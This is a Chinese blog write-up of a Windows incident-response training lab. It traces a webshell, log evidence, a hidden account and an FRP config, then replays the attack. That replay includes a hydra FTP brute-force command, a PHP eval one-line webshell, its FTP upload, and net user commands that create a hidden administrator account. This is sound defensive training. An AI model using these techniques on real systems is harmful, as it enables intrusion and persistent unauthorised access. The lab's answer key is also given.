知攻善防实验室 | Windows 应急响应靶机 — Web 2

🌟 关注这个靶场的其它相关笔记:[网安靶场] 蓝队应急响应靶场 —— 知攻善防实验室 · 靶场笔记合集

前来挑战!应急响应靶机训练-Web2前言应急响应靶机训练,为保证每位安服仔都有上手的机会,不做理论学家,增加动手经验,可前来挑战应急响应靶机-wehttps://mp.weixin.qq.com/s?__biz=MzkxMTUwOTY1MA==&mid=2247485230&idx=1&sn=7a6ff6376caf2a2268a468e78901b6d0&chksm=c11a56d3f66ddfc505fa9faf68077bb4679e31919b8cfefe505e8a93a0bcd086f44904e7530f&scene=21#wechat_redirect

0x01:应急响应 —— 题目环境介绍

0x0101:应急响应靶场 — 场景导入

小李在某单位驻场值守,深夜 12 点,甲方已经回家了,小李刚偷偷摸鱼后,发现安全设备有告警,于是立刻停掉了机器开始排查。这是他的服务器系统,请你找出以下内容,并作为通关条件:

  • 攻击者的 IP 地址(两个)

  • 攻击者的 webshell 文件名

  • 攻击者的 webshell 密码

  • 攻击者的伪 QQ 号

  • 攻击者的伪服务器 IP 地址

  • 攻击者的服务器端口

  • 攻击者是如何入侵的(选择题)

  • 攻击者的隐藏用户名

0x0102:应急响应靶场 — 环境搭建

将靶场从官网网盘下载下来后,通过 VMware 启动即可,如果启动错误,请将 VMware 版本升级至 17.5 以上。

0x0103:应急响应靶场 — 答案验证

如何查看自己的题解是否正确?在虚拟机的 administrator 用户的桌面上有一个解题程序,点击运行后即可校验你认为正确的答案:

相关账户密码

0x02:应急响应 —— 蓝队应急视角

将靶机下载下来后,建议第一件事是先给靶机做一个原始快照,保留好原始数据,不然回头病毒没干崩虚拟机,你应急的时候先给它干崩了,这样就不好玩了。OK,下面开始应急推理。

0x0201:WebShell 查杀

打开靶机,发现桌面存在 PhpStudy,我们先定位一下网站的根目录:

然后上传一个 D 盾,对上面获取到的网站根目录进行一次自定义扫描,如下,可以扫出来一个 system.php(WebShell 的文件名知道了)

打开 system.php 文件,内容如下,直接拿到 WebShell 的密码 hack6618(WebShell 的密码也知道了)

拿到密码后我们就可以把这个 system.php 给删掉了,当然你也可以本地留一个副本,用来做日后的研究,不过就目前来看,它的价值已经被榨干了。

0x0202:网站日志排查

攻击者上传了 WebShell 后肯定是要访问的,而这些访问记录就会被记录在 Web 日志中,所以接下来,我们只要去找哪个 IP 访问了 system.php,我们就知道,谁是攻击者了。

目标使用的是 PhpStudy 搭建的站点,PhpStudy 中用做 Web 服务的就是 Apache 和 Nginx,所以我们主要排查这两个中间件的日志。

在靶机中 Nginx 的日志在 C:\phpstudy_pro\Extensions\Nginx1.15.11\logs 目录下:

如上,啥都没有,所以重点排查 Apache 的日志信息:

C:\phpstudy_pro\Extensions\Apache2.4.39\logs
Apache日志详解 - 夏秋初 - 博客园转自 :http://blog.51cto.com/longlei/2095594 Apache日志详解 1、Apache日志文件名称及路径介绍 当我们安装并启动Apache后,Apache会自动生成两个日志文件,这两个日志文件分别是访问日志access_log(在Windows上是access.lhttps://www.cnblogs.com/xiaqiuchu/articles/10400792.html

如上,成功拿到了攻击者的一个 IP 地址(192.168.126.135),但随之而来又是一个问题,为啥它第一次是 Get 请求?他没有提交过 system.php 是如何 Get 的 ?

你要是把 Web 日志往上翻翻,可以看到攻击者 Get 了一堆文件,大部分请求都是 404 Not Found:

证明了攻击者是在做目录扫描,但这并不能解释我们上面的疑惑,即 system.php 这个木马是咋上传的 ?那么此时,我们就需要把矛头转向本机的其它服务了。

0x0203:FTP 服务日志排查

已知靶机是采用 PhpStudy 搭建的 Web 站点,而 PhpStudy 上除了 Web 服务能上传文件外,还有一个服务也能上传文件,只不过一般我们不怎么用就是了,这个服务就是 FTP !!

应急靶机上 FTP 服务日志的路径位于 C:\phpstudy_pro\Extensions\FTP0.9.60\Logs(问我咋找的 ?因为我对 PhpStudy 熟 !!):

如上,大小不为 0,证明里面是有日志信息的,打开 .log 文件,同样搜索 system.php:

如上,可以从 FTP 服务的日志中看到,攻击者的确是通过 FTP 服务上传的 /system.php 文件。将 FTP 日志往上翻翻,你会看到一堆报错请求:

可以很明显看出来攻击者是在对 FTP 进行密码爆破攻击,从最后的成功上传来看,他八成还是爆破成功了。

0x0204:隐藏账户排查

在第一步 WebShell 查杀的时候我们上传了一个 D 盾,这里就顺便用 D 盾排查一下隐藏账户:

如上成功拿到攻击者的隐藏用户名 hack887$,在 D 盾上右击即可删除该账号(留着不删过年咩)。

0x0205:系统日志排查

继续,攻击者为啥要创建隐藏账户 ?链接嘛,一般通过啥服务链接 ?Windows 的话就是 RDP 咯,我们可以通过下面这个命令,看看靶机是否开启了 RDP 服务:

netstat -ano | findstr 3389

如上,从执行结果上看,靶机的 3389 处于 LISTENING 状态,即监听状态。那么下一步,我们排查一下 3389 的远程登录日志,将 Windows 日志快速分析工具上传到靶机并运行:

先点击 “查看所有登录成功日志”,说实话笔者没看出啥不对的:

然后点击 “查看远程桌面登录成功日志”:

如上,发现有一个 IP (192.168.126.129) 登录了攻击者留下的后门账户,且这个 IP 和之前 Web 渗透的 IP 还不同,攻击者的另外一个 IP 是不是就找到了 ?

0x0206:Tencent Files 文件溯源

说实话,这个很难想到,谁家好人渗透了靶机后会通过 QQ 将文件传递过去 ?这不是明摆着等着被溯嘛。但是这个手法站在攻击者角度就很好用了,我拿到你的机器控制权后,我可以通过 Tencent Files 目录知道你这台机器都有谁登录过 QQ,然后做一波社工 。。。

在靶机的 “文档” 目录下有一个 Tencent Files,该文件的修改日期与攻击者远程登录的时间几乎完全吻合:

进入该文件夹,Tencent Files 即 “腾讯文件”,里面一般是放用户的数据和聊天记录,且文件名是以用户 QQ 号命名的(不信,你可以搜搜你本地的 Tencent Files 文件名):

777888999321

如上,成功拿到攻击者的伪 QQ,并且可以看到,该文件夹修改时间是 13 : 44,继续,进入文件夹中:

如上,通过分析我们锚定了 FileRecv,即 “接收文件夹”,进入该文件夹可以看到 FRP(一款内网反向代理工具)的压缩包:

熟悉内网攻防的小伙伴对这款工具应该都不陌生,它里面有一个 frpc.ini 文件,该文件中就会配置服务端的 IP 和 端口(确实很伪 😂):

如上,成功拿到攻击者服务端的 IP 和端口。汇总一下前面拿到的信息,最终题解如下:

问题描述最终答案
攻击者的 IP192.168.126.135 & 192.168.126.129
攻击者的 WebShell 文件名system.php
攻击者的 WebShell 密码hack6618
攻击者的伪 QQ 号777888999321
攻击者的伪服务器的 IP 地址256.256.66.88
攻击者的服务器端口65536
攻击者是如何入侵的FTP 服务
攻击者的隐藏用户名hack887$

0x03:应急响应 —— 蓝队溯源视角

在本节,我们将以蓝队溯源视角,尝试通过攻击者遗留下来的痕迹,溯源攻击者的完整攻击路径,以此来发掘我们站点的薄弱之处,同时提升我们自身的攻防技术。

0x0301:蓝队溯源 — 脆弱环境复现

通过前面的应急响应,我们知道了攻击者是通过本机的 FTP 服务 + Web 服务攻进来的,所以为了正常复盘攻击者的完整攻击痕迹,我们需要先开启靶机的 Apache + MySQL + FTP 服务:

然后我们需要确定一下靶机的 IP 地址(这个是我本地的环境,你本地的环境大概率和我不一样):

ipconfig

然后测试一下攻击机与靶机的连通性,咋测试 ?直接访问靶机的 Web 服务就行(Ping 是不行的,一般 Windows Web 机器都是直接禁 Ping 的):

如上,Kali Linux 成功访问到靶机上搭建的站点,这样就 OK 了。

0x0302:蓝队溯源 — 攻击方时间线整理

在开始溯源前,我们先理一下攻击方的攻击流程与时间线(基于前面的日志信息):

  • 2024 年 2 月 29 日 12:35 => 开始扫描 Web 服务目录

  • 2024 年 2 月 29 日 12:35 => 尝试爆破 FTP 账号和密码

  • 2024 年 2 月 29 日 12:48 => 成功获得 FTP 管理员账号密码

  • 2024 年 2 月 29 日 13:07 => 通过 FTP 服务上传 system.php 到 Web 站点根目录

  • 2024 年 2 月 29 日 13:08 => 通过 Apache 向 system.php 传递恶意命令

  • 2024 年 2 月 29 日 13:28 => 通过 RDP 登录了 hack887$ 用户

  • 2024 年 2 月 29 日 13:35 => 往 hack887$ 的桌面上,保存了注册表信息用于克隆管理员账号

  • 2024 年 2 月 29 日 13:47 => 通过 QQ 向 Tencent Files 中上传 FRP

如上,攻击者的攻击时间还是比较紧凑的,是个老手了,对于 13:35 那条信息,我们在前面应急的时候没有展示,这个其实很容易在隐藏用户的桌面上发现:

OK,那么接下来,我们尝试还原上面一整套的攻击流程,当然,由于我们是溯源小队,所以我们是开了天眼的,比如 FTP 服务的密码啥的,我们都是直接知道的(不过模拟一下爆破还是可以的):

0x0303:红蓝攻防 — FTP 账号爆破

溯源备注:我们 FTP 爆破前应该先用 Nmap 探测目标端口开放情况的,笔者这里省略了。

扫描 Web 服务目录就不需要了,我们就复现最关键的步骤就行。首先是爆破靶机的 FTP 账号,笔者采用的是 Kali Linux 中的 hydra,首先先创建一个密码字典(内容如下,意思一下就行):

admin
66668888
test123
admin666888
test123

然后输入下面的命令,使用 hydra 对靶机的 FTP 服务进行爆破:

hydra -l admin -P ./dic.txt ftp://172.16.0.108/

如上,成功拿到了靶机的账号和密码,此时我们回到靶机的 FTP 日志中看看(亲爱的攻击者,爆破了之后记得删日志哈):

0x0304:红蓝攻防 — FTP 文件上传

成功拿到靶机的 FTP 账号密码后,我们就可以通过 FTP 服务上传恶意程序了,我们首先先熟悉一下靶机的环境:

ftp 172.16.0.108 # 通过 FTP 服务登录靶机(需要输入账号密码 admin : admin666888)
pwd              # 查看当前工作位置
ls               # 查看目录中的文件内容
bye              # 从 FTP 客户端中退出

如上,通过 ls 命令,我们发现了靶机的 FTP 服务根路径与其 Web 服务根路径疑似是同样的,而且其 Web 根路径上还是 WordPress 的内容,而 WordPress 又是采用的 PHP 编写的,这证明了啥 ?

这证明了靶机的后端采用的是 PHP。所以我们可以先在本地写一个一句话木马,然后通过 FTP 上传到靶机并进行连接,以此 GetShell:

// FileName: system.php
<?= @eval($_POST['hacker']); ?>

如上,我们先编写了一个 system.php 的一句话木马文件,然后我们可以通过下面这组命令,将 system.php 上传到靶机:

ftp 172.16.0.108 # 通过 FTP 服务登录靶机(需要输入账号密码 admin : admin666888)
put system.php   # 将 system.php 通过 FTP 服务上传到靶机中

如上,从显示的结果来看 system.php 成功被上传到了靶机的 Web 根目录中。那么接下来,我们就可以尝试用蚁剑来连接一下它了。

0x0305:红队渗透 — 蚁剑 Get Shell

在蚁剑中配置如下内容,尝试连接靶机上的后门脚本:

建立连接后,我们进入蚁剑自带的交互式终端,输入 whoami 查看一下我们当前的权限:

如上,直接就是 administrator,都不用提权了,那么接下来,我们就可以为靶机创建恶意的克隆账号了。

0x0306:红队渗透 — 创建隐子账号并进行远程登录

参考资料 🚀:Windows 权限维持 —— 影子账户后门 - 克隆账户

在前面应急响应时,我们用 D 盾扫描出来目标做的是 “克隆账号”,但是由于 “克隆账号” 涉及到注册表的操作,整体流程非常复杂,所以笔者这里就以创建 “影子账号” 为例,来简单演示一下攻击者的整体攻击流程。

在蚁剑的交互式 Shell 中输入下面的命令,将 hacker$ 添加进管理员组:

# 创建用户,用户名末尾是 $,密码是 hack3r@X
net user hacker$ hack3r@X /add
# 加入管理员组
net localgroup administrators hacker$ /add

如上,这样两条命令一输,一个基础版的 “影子账号” 就做出来了,我们此时就可以用 Windows 自带的远程桌面来连接靶机了(Kali Linux 笔者 Try 过了,不知道为啥报了个莫名其妙的错误):

如上,我们尝试使用 hacker$ 这个用户登录目标靶机,然后密码输入 hack3r@X 后,点击 “确定”:

然后我们就可以通过远程桌面登录靶机了,且权限还是 Administrator:

这个就是影子账户的坏处,它可以通过 net localgroup Administrators 这种命令看到,但攻击者做的克隆账户就不会,克隆账户必须你手动去注册表中排查才能发现。

此时,我们再把 D 盾上传到靶机中,扫描一下,看看能不能扫出我们这个影子账号:

如上,轻轻松松就扫描出来,但描述说的是 “隐藏账号”,而不是 “克隆账号”。另外,再提一嘴,我们拿 hacker$ 用户登录,登录到的是不是这个用户的桌面 ?咋理解 ?

就是 Windows 系统中每个用户都有自己的个人目录,以方便系统对其进行管理。用户目录很好找,访问下面这个路径就能看到:

C:\Users

如上,谁登录过计算机,一目了然,克隆账号就没这个顾虑,它登录的直接是 Administrator 的桌面,就是如果靶机的 Administrator 也同时进行登录,会出现顶号的情况。


OK,关于此靶场的复现就做这么多,至于后面的隧道搭建啥的,又没内网给我打,搭建个啥哦。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Blue17 :: Hack3rX

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值